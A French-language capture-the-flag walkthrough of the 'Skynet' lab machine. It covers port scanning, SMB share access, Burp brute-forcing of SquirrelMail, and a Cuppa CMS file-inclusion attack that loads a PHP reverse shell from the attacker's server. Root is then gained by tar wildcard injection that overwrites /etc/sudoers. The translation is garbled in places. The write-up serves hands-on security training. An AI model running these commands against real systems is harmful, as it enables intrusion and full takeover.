La machine Skynet couvre les sujets suivants :
- Serveur smb vulnérable
- Renforcement brutal de Squirrelmail avec Burpsuite
- Inclusion de fichiers locaux/à distance
- Exploitation des caractères génériques sous Linux
Enumération
Nmap
Commencer par un scan Nmap :
┌──(kali㉿kali)-[~] └─$ nmap -v -A $IPÉTAT DU PORT VERSION DU SERVICE22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux ; protocole 2.0)| ssh-hostkey : | 2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)| 256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)|_ 256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)80/tcp open http Apache httpd 2.4.18 ((Ubuntu))| http-methods : |Méthodes supportées : GET HEAD POST OPTIONS|_http-server-header : Apache/2.4.18 (Ubuntu)|_http-title : Skynet110/tcp open pop3 Dovecot pop3d|_pop3-capabilities : RESP-CODES PIPELINING TOP UIDL AUTH-RESP-CODE SASL CAPA139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup : WORKGROUP)143/tcp open imap Dovecot imapd|_imap-capabilities : Pre-login OK LOGIN-REFERRALS IMAP4rev1 ID more ENABLE listed LOGINDISABLEDA0001 have IDLE post-login LITERAL+ SASL-IR capabilities445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup : WORKGROUP)Service Info : Host : SKYNET ; OS : Linux ; CPE : cpe:/o:linux:linux_kernel
Nous avons découvert des ports ouverts intéressants : un serveur pop3 sur le port 110, un serveur de messagerie IMAP sur le port 143, un serveur http ouvert sur son port par défaut et un serveur samba qui prend en charge le protocole SMB. SMB dispose de deux ports, 445 et 139.
À l’origine, SMB fonctionnait au-dessus de NetBIOS en utilisant le port 139, mais comme NetBIOS est une couche de transport plus ancienne pour les ordinateurs Windows, le port 445 a pris sa place après Windows 2000. Il s’exécute désormais au-dessus d’une pile TCP, ce qui permet à SMB de fonctionner sur l’internet.
Gobuster
Le serveur web http ne contient rien d’intéressant, nous allons donc le forcer brutalement pour trouver d’autres répertoires :
┌──(kali㉿kali)-[~] └─$ gobuster dir -u http://$IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -r===============================================================http://10.10.176.19/admin (Statut : 403)http://10.10.176.19/css (Statut : 403)http://10.10.176.19/js (Statut : 403)http://10.10.176.19/config (Statut : 403)http://10.10.176.19/ai (Statut : 403)http://10.10.176.19/squirrelmail (Status: 200)===============================================================
Nous avons découvert une page de connexion pour SquirrelMail mais nous avons besoin d’informations d’identification.

Samba
Enumérons le serveur samba avec les scripts Nmap :
┌──(kali㉿kali)-[~] └─$ nmap -p 445 –script=smb-enum-shares.nse,smb-enum-users.nse $IPPORT STATE SERVICE445/tcp open microsoft-dsRésultats du script de l’hôte :| smb-enum-shares : | Compte_utilisé : invité| .10.176.19\IPC$: | Type : STYPE_IPC_HIDDEN| Commentaire : Service IPC (serveur skynet (Samba, Ubuntu))| Utilisateurs : 2| Utilisateurs max : | Chemin d’accès : C:\Ntmp| Accès anonyme : READ/WRITE (LECTURE/ÉCRITURE)| Accès de l’utilisateur actuel : READ/WRITE (LECTURE/ÉCRITURE)\N- 10.10.176.19\N- Anonyme : | Type : STYPE_DISKTREE| Commentaire : Skynet Anonymous Share| Utilisateurs : 0| Utilisateurs max : | Chemin d’accès : C:\srv\samba| Accès anonyme : READ/WRITE (LECTURE/ÉCRITURE)| Accès de l’utilisateur actuel : READ/WRITE (LECTURE/ÉCRITURE)| \N- 10.10.176.19 \N- Milesdyson : | Type : STYPE_DISKTREE| Commentaire de l’auteur : Miles Dyson Personal Share| Utilisateurs : 0| Utilisateurs max : | Chemin d’accès : C:\home\milesdyson\share| Accès anonyme : | L’accès de l’utilisateur actuel : | 10.10.176.19\N-print$ : | Type : STYPE_DISKTREE| Commentaire : Pilotes d’imprimante| Utilisateurs : 0| Utilisateurs max : | Chemin d’accès : C:\var\samba\printers| Accès anonyme : |Accès de l’utilisateur actuel : | smb-enum-users : | SKYNET\milesdyson (RID : 1000)| Nom complet : | Description : |Flags : Compte d’utilisateur normal
L’accès anonyme semble être autorisé ; ajoutons également l’utilisateur “milesdyson” dans nos notes.
┌──(kali㉿kali)-[~] └─$ smbclient //$IP/anonymoussmb : \Ncd logssmb : \N-logs\N- ls. D 0 Wed Sep 18 06:42:16 2019… D 0 Thu Nov 26 17:04:00 2020 log2.txt N 0 Wed Sep 18 06:42:13 2019 log1.txt N 471 Wed Sep 18 06:41:59 2019 log3.txt N 0 Wed Sep 18 06:42:16 2019
L’un des journaux contient des mots de passe intéressants. Sauvegardons le fichier localement pour une utilisation ultérieure.
Ci-dessus, nous avons trouvé un partage smb nommé milesdyson ; forçons brutalement le serveur de messagerie avec cette information.
Exploitation
Burpsuite
1. Capturer la demande dans Burpsuite
2. Envoyer à l’intrus (Ctrl+I)
3. Ajouter un champ de mot de passe dans le champ d’application/la position pour le forçage brutal
4. Choisissez le type d’attaque Sniper, chargez le fichier des mots de passe trouvés et lancez l’attaque.
5. Recherchez les codes de réponse HTTP qui sortent du lot

Maintenant que nous avons le mot de passe, connectons-nous et vérifions ce que nous pouvons trouver d’autre :

Il s’agit du mot de passe pour le partage de notre utilisateur ; nous pouvons l’utiliser pour accéder à son partage samba :
┌──(kali㉿kali)-[~] └─$ smbclient //$IP/milesdyson –user milesdysonsmb : \notes\> ls. D 0 Tue Sep 17 11:18:40 2019… D 0 Tue Sep 17 11:05:47 2019 3.01 Search.md N 65601 Tue Sep 17 11:01:29 2019 4.01 Agent-Based Models.md N 5683 Tue Sep 17 11:01:29 2019 2.08 En pratique.md N 7949 Tue Sep 17 11:01:29 2019 0.00 Cover.md N 3114 Tue Sep 17 11:01:29 2019 1.02 Linear Algebra.md N 70314 Tue Sep 17 11:01:29 2019 important.txt N 117 Tue Sep 17 11:18:39 2019 6.01 pandas.md N 9221 Tue Sep 17 11:01:29 2019 3.00 Artificial Intelligence.md N 33 Tue Sep 17 11:01:29 2019 2.01 Overview.md N 1165 Tue Sep 17 11:01:29 2019…rapideréinvestirmget *
L’ouverture du fichier important.txt révèle un répertoire caché :
┌──(kali㉿kali)-[~] └─$ cat important.txt1. Ajouter des fonctionnalités au CMS beta /45kra24zxs28v3yd2. Travailler sur les plans du T-800 modèle 1013. Passer plus de temps avec ma femme
Vérifions le CMS dans ce répertoire caché :

Il n’y a pas grand-chose à voir, mais il y a probablement une page de connexion puisqu’il s’agit d’un système de gestion de contenu (CMS) ; faisons de la force brute pour trouver d’autres répertoires.
┌──(kali㉿kali)-[~] └─$ gobuster dir -u http://$IP/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -rhttp://10.10.167.244/45kra24zxs28v3yd/administrator (Status: 200)
Nous avons trouvé la page de connexion :

La vérification du code source ne révèle rien sur la version du CMS. J’ai encore cherché dans searchsploit quelque chose d’intéressant :
┌──(kali㉿kali)-[~] └─$ searchsploit cuppa—————————————————————————— ——————————— Titre de l’exploit | Chemin d’accès—————————————————————————— ———————————Cuppa CMS – ‘/alertConfigField.php’ Inclusion de fichier locale/à distance | php/webapps/25971.txt—————————————————————————— ———————————
Il s’agit d’une vulnérabilité RFI/LFI, ce qui signifie que nous pouvons inclure des fichiers PHP locaux ou distants (le plus souvent) ou lire des fichiers non-PHP avec cette vulnérabilité. Dans le cas du LFI, l’attaquant doit télécharger le script malveillant sur le serveur cible pour qu’il soit exécuté localement.
┌──(kali㉿kali)-[~] └─$ http://10.10.167.244/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin…
Utilisons-le maintenant pour obtenir une coquille inversée. Tout d’abord, nous devons démarrer un listener, puis le serveur http local et ensuite appeler le script PHP à partir de là :
┌──(kali㉿kali)-[~] └─$ sudo nc -nlvp 443 ┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300 ┌──(kali㉿kali)-[~] └─$ http://10.10.167.244/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.8.152.221:5300/revsh.php
Si vous utilisez Kali Linux, vous devriez avoir un script PHP inversé disponible localement dans le dossier suivant :
/usr/share/webshells/php/php-reverse-shell.php. Copiez-le et modifiez l’adresse IP et le numéro de port pour vous reconnecter.
à l’écoute [any] 443 …se connecter à [10 .8.152.221] de (INCONNU) [10 .10.167.244] 38510Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 10:46:22 up 38 min, 0 utilisateurs, charge moyenne : 0.00, 0.00, 0.00USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATuid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh : 0 : ne peut pas accéder à l’appareil ; le contrôle des tâches est désactivé$ whoamiwww-data
Maintenant que nous avons le drapeau de l’utilisateur. Augmentons les privilèges !
L’escalade des privilèges
Exploitation de la carte Wildcard
Je n’ai pas trouvé de binaires compatibles avec le bit SUID. J’ai essayé de voir le etc/shadow sans succès. Après un peu plus d’énumération, j’ai découvert un cronjob inhabituel, qui s’exécute toutes les minutes :
┌──(kali㉿kali)-[~] └─$ cat /etc/crontab# /etc/crontab : system-wide crontab# Contrairement à toute autre crontab, vous n’avez pas besoin de lancer la commande `crontab’# pour installer la nouvelle version lorsque vous éditez ce fichier# et les fichiers dans /etc/cron.d. Ces fichiers ont également des champs de nom d’utilisateur,# ce qu’aucun des autres crontabs ne fait.SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user command*/1 * * * * * root /home/milesdyson/backups/backup.sh17 * * * * root cd / && run-parts –report /etc/cron.hourly25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts –report /etc/cron.daily )47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts –report /etc/cron.weekly )52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts –report /etc/cron.monthly )#
Inspectons-le :
$ cat backup.sh#!/bin/bashcd /var/www/htmltar cf /home/milesdyson/backups/backup.tgz *
/bin/bash obtient un shell en tant que root, comme indiqué dans
etc/crontab
puis navigue jusqu’au répertoire /var/www/html et crée une sauvegarde/archive de tout ce qui se trouve dans le répertoire en utilisant la commande
tar
.
À la fin de la commande tar, l’astérisque est un joker qui signifie “tout”. L’astérisque peut être utilisé à diverses fins, telles que ls *.py c’est-à-dire lister tous les fichiers avec l’option .py extension. Tout ce que nous mettons dans /var/www/html sera ajouté au fichier compressé généré par tar.
Il y a plusieurs façons d’exploiter cette situation, mais la plus simple est de le faire. Nous nous ajouterons à la liste des etc/sudoers et de cette façon, nous pourrons exécuter n’importe quelle commande avec sudo, comme sudo bash pour obtenir un shell root. C’est ce que nous essayons de faire en suivant une commande simple :
┌──(kali㉿kali)-[~] └─$ echo “www-data ALL=(root) NOPASSWD : ALL” > /etc/sudoers
Pour mieux comprendre les deux commandes suivantes qui seront utilisées pour l’escalade des privilèges, consultez la page de manuel de tar :
┌──(kali㉿kali)-[~] └─$ man tarSortie informative –checkpoint[=N] Affiche des messages de progression tous les Nième enregistrements (par défaut 10). –checkpoint-action=ACTION Exécuter ACTION à chaque point de contrôle.
Le caractère générique signifie que nous pouvons procéder à une simple injection d’arguments en écrivant les arguments dont nous avons besoin sous forme de noms de fichiers et utiliser des actions de point de contrôle pour exécuter les commandes.
$ cd var/www/html$ echo ‘echo “www-data ALL=(root) NOPASSWD : ALL” > /etc/sudoers’ > root.sh$ echo “var/www/html” > “–checkpoint-action=exec=sh root.sh”$ echo “var/www/html” > –checkpoint=1$ sudo bashwhoamiroot
Lorsqu’ils sont placés entre guillemets simples (
'), aucun caractère entre guillemets n’a de signification particulière. Alors que les guillemets doubles (") permettent à l’interpréteur de commandes d’interpréter le signe du dollar ($), bâton(`), barre oblique inversée (\) et le point d’exclamation (!).
// from the team that breaks in for a living
Want to know what an attacker really sees?
Run a free website scan and get a 30-second read on your exposure.
Run free scan